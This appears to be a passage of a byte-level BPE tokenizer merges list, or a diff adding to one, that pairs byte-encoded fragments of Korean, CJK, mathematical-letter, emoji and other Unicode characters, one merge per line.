+êª Ģ +ê² Ī +ê² į +ê³ Ģ +êµ ł +ê½ IJ +ê¾ Ī +ê¿ ± +ëĥ ı +ëĦ ij +ëħ ¤ +ëĩ ¸ +ëĪ ¼ +ëī ħ +ëĬ £ +ëĭ º +ëį ŀ +ëIJ Į +ëķ ¸ +ëĺ ł +ëĻ ĩ +ëĻ Ī +ëľ ½ +ëŀ Ķ +ëł ľ +ë£ IJ +ë§ Ģ +ë§ Ĭ +ëª Ģ +ë¬ Ń +ë¯ ¾ +ë³ ľ +ë´ Ĭ +ëµ ī +ë· ľ +ë¸ Ģ +ë¹ ĭ +ìģ Ħ +ìĤ £ +ìĤ » +ìĦ µ +ìħ Ĵ +ìī Ī +ìī Ķ +ìĬ Į +ìĬ Ļ +ìIJ ´ +ìĵ º +ìķ ļ +ìķ º +ìĸ ľ +ìĹ ª +ìĺ ľ +ìĻ ¤ +ìļ Ľ +ìļ º +ìĿ ħ +ìĿ ı +ìĿ Ń +ìĿ ¶ +ìł Ľ +ì¡ Ī +ì¢ ī +ì¢ Ķ +ì© ł +ìŃ Į +ì¯ © +ì´ £ +ì¸ ķ +ì¹ Ł +ì¾ ¡ +ì¿ Ļ +íģ ĩ +íģ ī +íĩ Ģ +íĪ ¶ +íĸ ij +íĸ ¤ +íĹ ħ +íľ ı +íĿ Ŀ +ï¤ Ĵ +ï¤ ķ +ï¤ ¬ +ï¥ ħ +ï¥ ĩ +ï¥ ı +ï¥ ļ +ï¥ Ł +ï¦ Ħ +ï¦ Ī +ï¦ ¨ +ï¦ © +ï¦ ² +ï§ ģ +ï§ ĥ +ï§ Ķ +ï§ ł +ï§ £ +ï§ ® +ï ŃIJ +ïŃ ĸ +ïŃ ¦ +ïŃ ´ +ïŃ µ +ïŃ ¶ +ïŃ ¸ +ï® Į +ï® İ +ï® ŀ +ï® Ł +ï® ¡ +ï® ª +ï¯ Ķ +ï¯ Ĺ +ï¯ ļ +ï¯ Ľ +ï¯ Ŀ +ï¯ Ł +ï¯ § +ï¯ ¨ +ï¯ « +ï¯ ¯ +ï¯ ° +ï¯ ± +ï¯ ² +ï¯ ³ +ï¯ ´ +ï¯ µ +ï¯ ¶ +ï° Ģ +ï± ħ +ï± Ķ +ï± ´ +ï² ģ +ï³ ķ +ï· ½ +ï¸ ķ +ï¸ ± +ï¹ £ +ï¹ ½ +ï» į +ï¾ ± +ðĿIJ Ļ +ðĿIJ ½ +ðĿij ¤ +ðĿij ® +ðĿij µ +ðĿĴ ĥ +ðĿĴ Ħ +ðĿĵ Ń +ðĿĵ · +ðĿĶ ĸ +ðĿĶ ŀ +ðĿĶ ¢ +ðĿĶ ¦ +ðĿĶ ¬ +ðĿķ Ħ +ðĿķ Ĭ +ðĿķ İ +ðĿķ Ļ +ðĿķ ľ +ðĿķ Ń +ðĿķ ³ +ðĿķ ¸ +ðĿķ ¾ +ðĿ ĸī +ðĿĸ ı +ðĿĺ ĩ +ðĿĺ ī +ðĿĺ ĸ +ðĿĺ Ľ +ðĿĺ ŀ +ðĿĺ « +ðĿĺ ¾ +ðĿĻ ĩ +ðĿĻ ī +ðĿĻ ĭ +ðĿĻ İ +ðĿĻ ĺ +ðĿĻ ¥ +ðĿļ ĥ +ðĿļ IJ +ðĿļ Ķ +ðĿľ ĥ +ðŁĦ · +ðŁħ Ŀ +ðŁħ ¾ +ðŁĨ Ĥ +ðŁĨ ĵ +ðŁĮ Ĥ +ðŁĮ Ĩ +ðŁĮ ī +ðŁĮ ij +ðŁĮ ĺ +ðŁĮ © +ðŁĮ « +ðŁį ¢ +ðŁį ¥ +ðŁİ Ľ +ðŁİ ¢ +ðŁİ ´ +ðŁij ¡ +ðŁĴ ¾ +ðŁĵ Ń +ðŁĶ Ī +ðŁĶ ¦ +ðŁĶ ² +ðŁĶ ³ +ðŁķ ĵ +ðŁķ ķ +ðŁķ ĺ +ðŁķ Ł +ðŁķ · +ðŁĹ ³ +ðŁļ Ħ +ðŁļ Ķ +ðŁļ ĸ +ðŁĽ IJ +ðŁĽ ¤ +ðŁĽ ¸ +ðŁ ł +ðŁł ³ +ðŁ¤ ¹ +ðŁ¥ ĥ +ðŁ¥ ¨ +ðŁ¥ ª +ðŁ¥ ¾ +ðŁ¦ ĥ +ðŁ¦ Ĵ +ðŁ¦ Ļ +ðŁ¦ ¶ +ðŁ§ ł +ðŁ§ ª +ðŁ§ Ń +ðŁ§ ² +𣠷 +ð£· Ń +ð¦ ĺ +ð¦ĺ Ĵ +Æ ij +Ç Ļ +È ® +Ø ł +Ú Ħ +Ü Ģ +ß ¢ +áī Ģ +áĬ IJ +áİ ł +Ạŀ +ëĪ ŀ +ëķ Ł +ë£ ģ +ë¤ Ĺ +ìĦ ¥ +ìħ ij +ìĸ IJ +ìĽ Ľ +ì£ ķ +íİ ı +íĽ ĵ +ï¥ º +ï³ Ľ +ï´ « +ðĸ § +ðĸ§ · +ðĿķ ģ +ðŁIJ ª +ðŁĴ Ī +ðŁĵ ł +ðŁķ Ľ +ðŁķ ´ +Ñ Ŀ +Ó Ĭ +ॠ² +ઠª +áĥ ¤ +áį IJ +á¶ ° +á¼ Ŀ +á½ © +âĭ ĭ +âĴ ½ +âĻ ¾ +â ½Ķ +â¾ ¯ +ãĦ Ĵ +ãħ ļ +ëIJ į +ë· ģ +ìĭ Ģ +ìļ Ŀ +ì¥ ° +ìº ´ +íĭ ī +íĿ ½ +ï¦ Ģ +ï¦ ¿ +ï§ ħ +ï§ ĵ +ïŃ ¯ +ï® Ĩ +ðIJ¤ ķ +ðĿIJ Ł +ðĿĴ ħ +ðĿĵ ľ +ðĿĶ ° +ðĿĶ » +ðĿĺ į +ðĿĻ ¯ +ðŁĦ ½ +ðŁħ Ĥ +ðŁħ Ķ +ðŁħ ½ +ðŁĵ ´ +ðŁ§ ĸ +Ó Ĵ +Ḡ² +ëī ¼ +Ç ı +È ĵ +Ê ¸ +Õ Ĥ +Û ħ +ß ¡ +ß £ +à® ¯ +à° Ī +ಠ¸ +ຠ® +༠ķ +áĢ İ +áĨ ¡ +áIJ ĭ +áIJ ķ +áij ¯ +áŀ Ĩ +ᨠķ +á© Ī +âģ ħ +âĨ ļ +âĶ İ +âł © +â² Ĥ +â² Ķ +â² ¨ +ãĬ ļ +íĵ ² +ðĿij Ī +ðĿij ¬ +ðĿij ¹ +ðĿĴ ¾ +ðĿĵ ± +ðĿĵ ½ +ðĿķ ¯ +ðĿķ » +ðĿĺ ½ +ðĿļ Ĩ +ðŁĦ ° +ðŁIJ ¨ +Ò ķ +ಠħ +ï¨ Ĩ +ðĿij ° +ðŁĦ ¸ +Ô İ +Ø į +Ù µ +ಠ¶ +áĢ Ī +áĺ Ĺ +áł ¸ +á¡ ¡ +ᨠ² +á© ģ +á´ · +áµ § +âķ ¨ +âļ ģ +â¾ Ŀ +ãĢ ¼ +ãĦ ı +êĴ « +ê¦ ¥ +ê¦ © +ê¦ ² +ìĺ ¼ +íĵ IJ +ðĵ ĩ +ðĵĩ ¼ +ðĿķ ¿ +ðŁĽ ´ +ë¨ ľ +ಠµ +à´ İ +à¼ Ģ +âĩ ĸ +ãĪ « +âĵ Ģ +áħ ´ +áļ ¾ +ἠŀ +ἠ« +ᥠ´ +âĨ Ľ +âĨ ¶ +âĩ ¤ +âķ Ł +âĺ · +âļ IJ +ðŁ§ ´ +á¹ ³ +âĶ į +âĶ Ĵ +âĶ © +âĶ ¦ +â¾ µ +ઠľ +ઠ¤ +âĩ Ļ +âĶ ± +âķ Ģ +â½ Ĭ +ï½ Ł +ଠ¡ +ðł ® +ðł® · +âķ ĥ +â° Ķ +ãĬ ¦ +ðŁİ IJ +ãĩ ° +â¼ Ŀ +â¾ Ķ +â½ Ĵ +âł Ĵ +ï¨ ¦ +ï© Ĵ +ï¨ ² +ï© ĸ +ðĵı ¸ +ãĮ ĥ +ðĸ ¤ +ðĸ¤ IJ +ï¦ Ń +âĬ ħ +â¾ ³ +ä´ ¥ +ï© ķ +ðŁĮ Ķ +áŀ ĭ +âļ į +â¼ ĭ +ãİ ĺ +ðIJĮ ² +É © +áİ ij +âĨ ® +âĩ ĥ +âļ İ +ãĩ ± +ãĭ © +ãĮ ¶ +êĻ ª +ëİ ¬ +ï¨ IJ +ï¨ Ľ +ï© Ĭ +ï© į +ðĵ ħ +ðĵħ º +Ï ¡ +È ij +É Ĥ +Ô ĵ +ß İ +à´ § +áĢ ī +áĢ ĭ +áĢ ij +áĢ ł +áļ Ļ +ᨠĦ +ᨠ© +ᨠ¹ +á© ĵ +ᬠľ +á´ Ļ +áµ ij +âĤ Ń +âĨ ° +âľ ģ +â½ IJ +ãĭ ¯ +ãĮ ½ +íĨ ¢ +ï¤ ¿ +ðŁ Ĥ +ðŁĤ » +È Ĵ +Í º +Ô ¥ +Õ ij +Ú ¶ +à§ İ +à¶ ® +ຠĸ +ຠľ +ຠ½ +áĥ » +áħ ¯ +áĭ ŀ +áĸ ķ +á ´Ī +á¶ Ĩ +Ḡľ +á¹ ¼ +á¿ ¨ +âĦ ĭ +âĦ Ń +âĪ ± +âĮ ĵ +âĶ ĩ +âĶ ¢ +â± ® +â² Ħ +ãĩ ¾ +ãĪ ¬ +ë¸ ¡ +ìIJ ī +íĻ Ľ +ðĿķ ª +Æ ¹ +Í ² +Ó ģ +Û ¼ +ঠ« +áħ Ł +áī Ĩ +áį Ī +Ạĸ +á½ ī +âĶ ¸ +â½ © +ê ľ +êľ ¥ +êµ ħ +ëĤ Ķ +ëĦ ł +ëĩ Ĺ +ëĻ Ŀ +ìļ ¯ +ìļ · +ìŁ Ľ +ì· IJ +íŁ ¬ +íŁ ® +íŁ ° +ï¦ Ĩ +ï¦ ± +ï² ŀ +ï³ ¤ +ï³ ¥ +ðIJĮ ¸ +ðĿĶ ı +ðĿķ ® +ðĿĺ £ +à¦ Ī +âı ı +ãĦ ĸ +ê² ĩ +ëĸ ĺ +ëľ · +ëŀ Ĵ +ë¡ ĵ +ë¢ ī +ë£ ĥ +ë§ ĭ +ë² ĭ +ìĤ · +ìĪ ķ +ì Į¨ +ìĵ » +ìĸ Ĭ +ìĻ ¬ +ìĿ » +ì¦ ģ +ìµ ¤ +ì· ĥ +íĢ ľ +íħ ī +íį ł +íı ħ +íij ± +íķ ķ +íĸ ł +íĿ ķ +Æ Ļ +Æ ļ +Æ ŀ +Ç ĥ +Ç Ĭ +Ç ľ +Ç ¤ +Ç Ń +Ç ¹ +È Ģ +È ģ +È ħ +È ī +È Ĺ +È Ł +È ¤ +È ¥ +È ¨ +È µ +È º +È » +É Į +É ® +Ê ħ +Ê ¥ +Ê ¨ +Ë ĵ +Ë Ķ +Ë ł +Ë £ +Ë ¸ +Í ´ +Ï Ĺ +Ï ĺ +Ï Ļ +Ï ļ +Ï Ŀ +Ï ¨ +Ï ¬ +Ï ¾ +Ï ¿ +Ñ ª +Ò Ģ +Ò ľ +Ò ¼ +Ò ½ +Ó Ĥ +Ó ħ +Ó ĩ +Ó į +Ó ĸ +Ó Ł +Ó « +Ó ± +Ô Ĩ +Ô ĩ +Ô º +Õ ĭ +Ö ī +Ø Ī +Ø Ĭ +Ø ½ +Ø ¾ +Ù · +Ú Ĥ +Ú Ĭ +Ú ĸ +Ú Ĺ +Ú £ +Ú « +Ú ¸ +Û Ģ +Û į +Û ½ +Ü ī +Ü ¤ +Ý § +Ý ´ +Þ ĥ +Þ ¤ +Þ ¥ +ß ļ +ß Ľ +ß ¤ +àł į +àł ĵ +àł ³ +à¡ ¢ +ॠł +à§ ł +à§ º +ਠĬ +ਠIJ +ਠ® +ਠ¯ +ਠ° +ਠ¸ +ઠĨ +ઠ³ +ઠµ +ઠ½ +ଠĮ +ଠĺ +ଠ½ +à® ĥ +à® ¸ +à° Ĩ +à° ķ +à° ¦ +ಠĨ +ಠĬ +ಠĮ +ಠIJ +ಠĽ +ಠ¤ +ಠ¦ +ಠª +ಠ² +ಠ¹ +à´ Ĩ +à´ ı +à´ Ĺ +à´ « +à´ ¹ +ൠº +ൠ½ +à¶ ħ +à¶ Ĭ +à¶ Ķ +à¶ § +à¶ « +à¶ ° +༠Ħ +༠ħ +༠Ĭ +à½ Ļ +འ¡ +འ§ +à¿ Ģ +à¿ Ļ +áĢ Ŀ +áĢ § +áĢ © +áĢ ¿ +áģ µ +áĤ ģ +áĤ ½ +áĥ Ĥ +áĥ ª +áĦ Ĭ +áĦ ¢ +áħ ¦ +áħ Ń +áĨ ® +áĨ ± +áĨ » +á ĩ +áĩ Ĥ +áĪ ħ +áĪ ī +áĪ Į +áĪ IJ +áĪ Ĵ +áĪ Ļ +áĪ ļ +áĪ ľ +áĪ ŀ +áĪ © +áĪ ³ +áĪ º +áĪ ½ +áī ħ +áī ¢ +áī ± +áī ´ +áĬ ĥ +áĬ į +áĬ ĸ +áĬ ® +áĬ ¸ +áĭ Ľ +áĭ Ŀ +áĭ ³ +áĮ ģ +áĮ ħ +áĮ ¥ +áĮ ¦ +á Į¨ +áį Ĭ +áį į +áį ķ +áį ĸ +áį ¢ +áį ¤ +áİ Ĵ +áİ ª +áı ģ +áı IJ +áı Ł +áIJ Ĥ +áIJ ĸ +áIJ Ŀ +áIJ ŀ +áIJ Ł +áIJ ł +áij ĸ +áĴ ĭ +áĴ į +áĴ ¡ +áĵ « +áĶ ķ +áķ ĭ +áķ ij +áķ Ļ +áķ ļ +áķ Ľ +áķ ¤ +áķ ¦ +áķ ® +áķ ¼ +áĸ ĵ +áĹ Ĺ +áĹ ¢ +áĹ ¯ +áĹ · +áĺ Ħ +áĺ ij +ἠĤ +áĽ Ļ +áŀ į +áł Ĩ +áł ¡ +áł ¦ +áł ® +áł ¯ +áł ² +áł · +á¡ į +á¡ ŀ +á¡ ¤ +á ¡´ +á¡ µ +ᤠĵ +ᥠĸ +ᥠ° +ᨠ¦ +ᨠ§ +ᨠ¨ +ᨠª +ᨠ¬ +ᨠ¯ +ᨠ³ +ᨠµ +á© ĥ +ᬠķ +áŃ £ +á ± +á± ļ +á² ł +á´ ĵ +á´ ¶ +áµ Ĥ +áµ Į +áµ ¥ +áµ ´ +á¶ ĩ +á¸ Ī +Ḡł +Ḡ§ +Ḡ´ +Ḡ¾ +á¹ Ģ +á¹ ĸ +á¹ Ł +á¹ ł +á¹ « +á¹ ± +á¹ · +á¹ ¿ +ẠĦ +Ạį +Ạij +áº Ĺ +á¼ ī +á¼ ĵ +á¼ Ń +á½ ĭ +á½ Ĵ +á½ ł +á½ £ +á¾ Ħ +á¾ ı +á¾ ij +á¾ Ĺ +á¾ ¦ +á¾ § +á¾ ¾ +á¿ Ħ +á¿ ĵ +á¿ ¡ +á¿ ¬ +âģ ļ +âĤ Į +âĦ ģ +âĦ Ķ +âĦ £ +âĦ § +âĦ ¯ +âĦ ° +âĦ ´ +âħ ħ +âĨ ľ +âĨ « +âĨ Ń +âĨ ± +âĨ ¹ +âĨ ½ +âĩ ĩ +âĩ ľ +âĩ µ +âĪ ī +âĪ Ĭ +âĪ ĸ +âĪ ľ +âĪ ¾ +âī Ģ +âī ĭ +âī Į +âī ĵ +âī ľ +âī ´ +âī ¿ +âĬ Ĭ +âĬ ĭ +âĬ Ķ +âĬ ĸ +âĬ £ +âĬ ¦ +âĭ İ +âĭ ª +âĭ ² +âĮ ¦ +âĮ § +âį º +âİ Ī +âİ ¨ +âİ ¬ +âİ ³ +âİ ¼ +âİ ¾ +âı Į +âı ļ +âı « +âı ¯ +âı µ +âĴ ľ +âĴ Ŀ +âĴ « +âĵ Ħ +âĵ Ĭ +âĵ Ļ +âĵ © +âĶ ij +âĶ Ļ +âĶ ļ +âĶ ¥ +âķ ħ +âķ ī +âķ į +âķ ı +âķ ŀ +âĸ ļ +âĸ ¯ +âĹ ĥ +âĹ ļ +âĹ ¬ +âĹ ´ +âĺ Ī +âĺ ¤ +âĺ ¥ +âĺ § +âĺ ¬ +âĻ ģ +âĻ ± +âļ ĥ +âļ Ħ +âļ ħ +âļ ı +âļ ļ +âļ ŀ +âļ Ł +âļ ± +âļ ² +âľ Ģ +âľ Ł +âľ ¢ +âĿ µ +⣠¡ +⣠¦ +⣠§ +⣠³ +⣠¾ +⣠¿ +âł ĩ +⤠Ħ +⤠º +⥠Ĥ +⥠¹ +â§ ī +â§ ¼ +â§ ½ +⨠į +⬠Ĭ +â¬ Ł +âŃ ŀ +â® ŀ +â® ³ +â¯ Ī +⯠ij +â± ł +â± ± +â² Ń +â´ ¹ +âµ ķ +⸠¾ +â º« +â¼ Ĩ +â¼ ł +â½ Ł +â½ ¼ +â¾ Ľ +â¾ § +â¿ ĥ +â¿ » +ãĤ ķ +ãĤ Ł +ãĦ Ľ +ãĦ ¡ +ãĦ ¶ +ãĦ º +ãħ Ĵ +ãħ Ł +ãĨ Ģ +ãĩ » +ãĪ ij +ãĪ Ń +ãĪ ® +ãĪ ³ +ãĪ ¹ +ãī ¥ +ãī ¦ +ãī ¹ +ãī ¿ +ãĬ ŀ +ãĬ ¨ +ãĭ ij +ãĭ ¥ +ãĭ ´ +ãĭ º +ãİ Ħ +ãİ ķ +ãİ ¯ +ãı Ĥ +ãı Ī +ãı ĵ +ãı ĸ +ãı ± +ãIJ ± +ãŁ ģ +ã ¢ +㢠¨ +ã ¨ +㨠³ +ã« ª +ã« ´ +ã¶ ³ +㺠¾ +ä Ģ +äĢ Ģ +ä ĭ +äĭ Į +ä ĮĢ +äIJ Ģ +ä łĢ +ä ł +äł ¼ +ä § +ä§ ŀ +ä¨ ° +ä¨ º +ä ´Ģ +ä · +ä· ħ +ä ·¸ +ê Ĥ +êĤ « +ê Į +êĮ ¼ +ê į +êį ² +êĴ µ +ê ĵ +êĵ ½ +êĻ Ń +êĿ Ľ +êĿ ¥ +ê ŀ +êŀ Ĭ +ê¦ Ĩ +ê¦ ĩ +ê¦ Ł +ê¦ ¨ +ê§ Ī +ê © +ê© Ł +êª ĭ +êª ij +êª ķ +êª Ĺ +êª ľ +êª ® +êª ± +êª » +êª ¼ +ê« Ģ +ê« Ŀ +ê° ĥ +ê° ĺ +ê± ľ +ê² ĵ +ê² ļ +ê³ Ļ +ê³ ¾ +ê´ Ĺ +ê´ Ļ +êµ Ľ +ê¶ ĥ +ê¶ ķ +ê¶ ¨ +ê¸ © +ê¸ ¿ +ê ¹Ħ +ê¹ Ĩ +ê¹ ī +ê¹ ĵ +ê¹ ¢ +ê¹ £ +ê¹ ¸ +êº ³ +ê¿ ı +ê¿ ķ +ê¿ § +ëĢ © +ëģ ħ +ëĥ µ +ëĦ ĸ +ëĦ Ĺ +ëĦ ¢ +ëħ Ĥ +ëĨ IJ +ëĩ ľ +ëĪ ĭ +ëĪ ļ +ëī į +ëī ¨ +ëĬ ļ +ëĬ ¡ +ëĭ ľ +ëĭ ª +ëĮ ĺ +ëĮ ¤ +ëĮ ¸ +ëİ Ł +ëı ¨ +ëIJ Ħ +ëIJ ı +ëIJ ´ +ëIJ ¸ +ëij ģ +ëij ¿ +ëĴ ¨ +ëĵ · +ëĶ ® +ëĶ ² +ëķ § +ëĸ Ķ +ëĸ ª +ëĺ Ń +ëļ Ģ +ëļ ł +ëĽ Ķ +ëĽ © +ëľ ħ +ëŀ ķ +ëŀ ° +ëŁ IJ +ëł ¡ +ë¡ ŀ +ë¡ £ +ë¡ µ +ë£ Ħ +ë£ į +ë¤ ³ +ë¦ į +ë¦ ı +ë¦ ³ +ë§ Ħ +ë§ Ĩ +ë§ į +ë§ ľ +ë§ « +ë§ » +ë¨ ® +ë© Ĥ +ë© Ń +ëª ´ +ë¬ ľ +ë¬ ł +ë¬ « +ë¬ ¾ +ëŃ ¬ +ë® ĺ +ë® ¹ +ë¯ ķ +ë¯ ľ +ë° ¨ +ë° ª +ë± Ķ +ë² ĺ +ë² Ľ +ë² ± +ë² ´ +ë´ ½ +ëµ ¤ +ëµ ¨ +ë· Ĺ +ë· ĺ +ë¸ ĵ +ë¸ ľ +ë¹ ª +ëº ĥ +ëº ĺ +ëº µ +ë» ´ +ë¼ IJ +ë¾ Ķ +ìģ Ń +ìĤ ł +ìĤ ® +ìĥ ı +ìĥ Ļ +ìĦ º +ìħ ¢ +ìĨ Ģ +ìĨ ħ +ìĨ ¤ +ìĨ ¦ +ìĨ ¬ +ìĩ ± +ìĪ µ +ìĭ ¨ +ìĭ ´ +ìĮ ° +ìį ľ +ìİ Ĺ +ìİ ĺ +ìİ ¼ +ìij ī +ìij Ŀ +ìij » +ìĴ Ķ +ìĴ ¯ +ìĵ © +ìķ IJ +ìķ ĸ +ìĸ ł +ìĸ ¾ +ìĹ ĥ +ìĹ Ĺ +ìĹ ľ +ìĹ ¨ +ìĺ Ĥ +ìĺ Ħ +ìĺ ı +ìĺ ¾ +ìĺ ¿ +ìľ § +ìĿ IJ +ìĿ ĸ +ìĿ · +ìŀ į +ìŀ ı +ìŀ ¨ +ìŀ ª +ìŀ ³ +ìł ¡ +ìł ´ +ìł ¹ +ì¡ Ģ +ì¡ ª +ì¡ µ +ì¢ IJ +ì¢ ¨ +ì£ Į +ì£ Ļ +ì£ ³ +ì¦ ij +ì§ ¥ +ì§ ´ +ì§ ¾ +ì¨ ĵ +ì¨ ķ +ì© ° +ì© » +ì© ¼ +ìª Ĺ +ì¬ Ķ +ì¬ ĺ +ì® ® +ì¯ ķ +ì¯ ĺ +ì° İ +ì° ¯ +ì± ĥ +ì± µ +ì² § +ì² ® +ì² ¯ +ì³ ¬ +ì´ ĭ +ì´ ¢ +ìµ ¥ +ì¶ £ +ì¸ Ī +ì¸ Ļ +ìº ¤ +ìº Ń +ì» ½ +ì¼ Ļ +ì½ ¬ +ì¾ Ģ +ì¿ ħ +ì¿ ½ +íĢ ħ +íģ ¦ +íĤ ħ +íĥ ¶ +íĥ ¹ +íĦ Ķ +íħ £ +íĨ Ħ +íĨ § +íĨ ¹ +íĩ ¼ +íī ¤ +íĬ ½ +íĭ Ĥ +íĭ ij +íį Ī +íį Ļ +íį ¿ +íİ ¶ +íIJ Ŀ +íĴ ľ +íĵ Ŀ +íĵ ª +íĵ ± +íĵ · +íĵ ¼ +íĶ Ļ +íĶ ł +íķ ļ +íķ Ľ +íķ ŀ +íķ Ł +íķ § +íķ ¶ +íĸ Ĭ +íĸ ĭ +íĸ į +íĸ Ķ +íĸ ĺ +íĸ ¡ +íĸ ¬ +íĹ £ +íĹ ¿ +íĺ ĸ +íĺ Ń +íļ ° +íĽ į +íĽ ½ +íĿ Ł +íĿ Ń +íĿ ´ +íŀ ľ +ï¤ ī +ï¤ Ń +ï¤ ² +ï¤ µ +ï¤ ¼ +ï¥ Ģ +ï¥ ij +ï¥ Ĵ +ï¥ ķ +ï¥ ĺ +ï¥ Ļ +ï¥ « +ï¥ ¬ +ï¥ ° +ï ¥¿ +ï¦ ĭ +ï¦ ı +ï¦ Ķ +ï¦ ĸ +ï¦ ĺ +ï¦ Ľ +ï¦ ł +ï¦ ® +ï¦ ¯ +ï¦ º +ï¦ » +ï¦ ¾ +ï§ Ĩ +ï§ ĸ +ï§ Ľ +ï§ ŀ +ï§ Ł +ï§ § +ï§ ³ +ï§ º +ï§ ½ +ï¨ ĥ +ï¨ ļ +ï¨ ¢ +ï© Ł +ï¬ ¤ +ï¬ ¬ +ï¬ ¼ +ïŃ Ĵ +ïŃ ķ +ïŃ Ľ +ïŃ Ŀ +ïŃ ŀ +ïŃ Ł +ïŃ ¤ +ïŃ § +ïŃ ¨ +ïŃ ® +ïŃ ° +ïŃ ± +ïŃ · +ïŃ ¹ +ïŃ » +ï® Ģ +ï® ĥ +ï® Ħ +ï® ħ +ï® į +ï® Ĵ +ï® ĵ +ï® ķ +ï® ¦ +ï® ® +ï® ° +ï¯ ĵ +ï¯ ľ +ï¯ © +ï¯ ª +ï¯ ¬ +ï¯ Ń +ï¯ ® +ï¯ · +ï¯ ¹ +ï¯ » +ï¯ ¼ +ï° ĥ +ï° Į +ï° IJ +ï° ĺ +ï° Ļ +ï° ľ +ï° ŀ +ï° ¢ +ï° ® +ï° ° +ï° ¼ +ï° ¿ +ï± Ģ +ï± ģ +ï± Ī +ï± ĭ +ï± ı +ï± Ń +ï² Ģ +ï² ĩ +ï² Ī +ï² ĭ +ï² İ +ï² Ĵ +ï² ľ +ï² ł +ï² ¬ +ï² » +ï³ ĩ +ï³ Ķ +ï³ £ +ï³ « +ï´ ĺ +ï´ ° +ï´ ½ +ï ¶ +ï¶ ° +ï¸ ĸ +ï¸ ´ +ï¸ ¹ +ï¹ į +ï¹ Ĺ +ï¹ ¢ +ï¹ ¤ +ï¹ © +ï¹ ± +ï¾ ° +ï¿ Ĥ +ï¿ ® +ðIJĮ ° +ðIJĮ ¹ +ðIJĮ º +ðIJĮ ½ +ðIJį Ĥ +ðIJį ĥ +ðIJį Ħ +ðIJ İ +ðIJİ ¹ +ðIJ¤ Ĥ +ðIJ¤ į +ðIJ¤ ı +ðIJ¤ ĵ +ðIJŃ ī +ðIJŃ į +ðIJ° ĩ +ðIJ° ° +ðij Ĥ +ðijĤ Ħ +ðij ĺ +ðijĺ ģ +ðĴ Ģ +ðĴĢ ¸ +ðĴ ģ +ðĴģ º +ðĴ Ħ +ðĴĦ · +ðĴ Ĭ +ðĴĬ ij +ðĴ ĭ +ðĴĭ Ĺ +ð ĴĮ +ðĴĮ ¨ +ðĵĥ ¢ +ðĵĥ ° +ðĸ ł +ðĸł ļ +ðĿĦ ĥ +ðĿĦ ħ +ðĿĦ ķ +ðĿĦ Ļ +ðĿĦ ± +ðĿĦ ´ +ðĿĦ ¹ +ðĿħ İ +ðĿħ ª +ðĿĨ £ +ðĿĨ ³ +ðĿĨ ¹ +ðĿĩ Ĭ +ðĿĩ Ĺ +ðĿĩ ļ +ðĿĩ ľ +ðĿĩ ł +ðĿIJ ī +ðĿIJ ĸ +ðĿIJ ĺ +ðĿIJ £ +ðĿIJ ± +ðĿij Ĭ +ðĿij Ń +ðĿij ¼ +ðĿij ½ +ðĿĴ ° +ðĿĴ · +ðĿĴ ¿ +ðĿĵ ģ +ðĿĵ ĭ +ðĿĵ İ +ðĿĵ Ĵ +ðĿ ĵĺ +ðĿĵ ¢ +ðĿĵ ¦ +ðĿĵ « +ðĿĵ ¿ +ðĿĶ İ +ðĿĶ ± +ðĿĶ ´ +ðĿĶ · +ðĿĶ ¸ +ðĿĶ ½ +ðĿķ Ĥ +ðĿķ ĥ +ðĿķ ĭ +ðĿķ ı +ðĿķ IJ +ðĿķ ¥ +ðĿķ ´ +ðĿķ º +ðĿĸ IJ +ðĿĸ Ľ +ðĿĸ Ŀ +ðĿĸ ŀ +ðĿĹ © +ðĿĹ ³ +ðĿĹ ½ +ðĿĺ Ĭ +ðĿĺ ĭ +ðĿĺ Ķ +ðĿĺ ± +ðĿĺ ´ +ðĿĺ ¿ +ðĿĻ Ĵ +ðĿĻ Ŀ +ðĿĻ Ł +ðĿĻ ¬ +ðĿĻ Ń +ðĿĻ » +ðĿĻ ¾ +ðĿļ Ī +ðĿļ ĭ +ðĿļ ij +ðĿļ Ł +ðĿļ ł +ðĿļ £ +ðĿĽ ½ +ðĿľ Ĥ +ðĿľ Ķ +ðĿľ Ļ +ðŁ Ģ +ðŁĢ Ħ +ðŁĦ ² +ðŁĦ ¶ +ðŁħ IJ +ðŁħ ĸ +ðŁħ ļ +ðŁħ Ľ +ðŁħ ¦ +ðŁħ ¶ +ðŁħ » +ðŁħ ¼ +ðŁĨ ĥ +ðŁĨ Ĩ +ðŁĨ İ +ðŁĪ ¯ +ðŁĪ ² +ðŁĪ ¹ +ðŁĮ ĩ +ðŁĮ ĵ +ðŁį ĺ +ðŁİ ij +ðŁİ ¿ +ðŁı ı +ðŁı Ĵ +ðŁı © +ðŁı ¯ +ðŁIJ Ģ +ðŁij Ŀ +ðŁĴ ¹ +ðŁĴ º +ðŁĵ Ł +ðŁĵ ª +ðŁĵ ¼ +ðŁĶ Ģ +ðŁĶ Ĥ +ðŁĶ ĥ +ðŁĶ ĩ +ðŁĶ ĵ +ðŁĶ ¢ +ðŁĶ ¤ +ðŁĶ © +ðŁķ ĸ +ðŁķ ļ +ðŁķ ľ +ðŁķ Ŀ +ðŁķ ŀ +ðŁķ ł +ðŁķ ¢ +ðŁķ ³ +ðŁĸ ĩ +ðŁĸ ij +ðŁĸ ¶ +ðŁĹ ģ +Ñ ¨ +Ú İ +á¡ Į +Ḡ° +áº Ģ +á¼ ® +á½ Ŀ +âĦ ¬ +âļ § +⼠¤ +ã³ ¬ +êĻ ĭ +ê¸ ij +ëĶ ī +ëĹ į +ë¡ ij +ë¯ ij +ë» ħ +ë¼ Ŀ +ìĦ IJ +ìī ¡ +ìĭ ² +ìı ± +ìĹ ¤ +ìĿ © +ìĿ ¿ +ìŁ Ļ +ìł ° +ì¥ ī +íĬ Ń +íķ ® +ï® ı +ðŁħ ± +ðŁĨ Ĵ +ðŁķ ĭ +É ĺ +Ê ĵ +Õ ĥ +à´ ´ +འħ +áĨ º +áĪ Ĭ +áĪ ¨ +áĪ ¾ +áī IJ +áĮ ĥ +áĮ ½ +áĶ Ń +áł Ĥ +áł ¬ +ᨠ¸ +á© ĭ +á¶ ı +á¾ Ķ +á¿ IJ +á¿ ļ +âĻ Ļ +âļ Ĥ +âļ Ĺ +â¡ ¢ +⤠¦ +ëĸ ° +ë¤ Ĥ +ë§ ł +ë± ĭ +ë± IJ +ìĽ ¢ +ìľ ¾ +ì³ ħ +ì» ģ +íģ » +íĥ Ļ +íĵ ĸ +íĵ Ń +íķ ± +íĽ ľ +ï¤ ħ +ï¤ Ĩ +ï¦ ĥ +ï§ © +ï¨ Ĥ +ðIJ¤ Ķ +ðIJŃ ĵ +ðIJ° ¼ +ðĿĵ ŀ +ðĿĵ ° +ðĿĻ ľ +ðĿļ ģ +ðŁħ 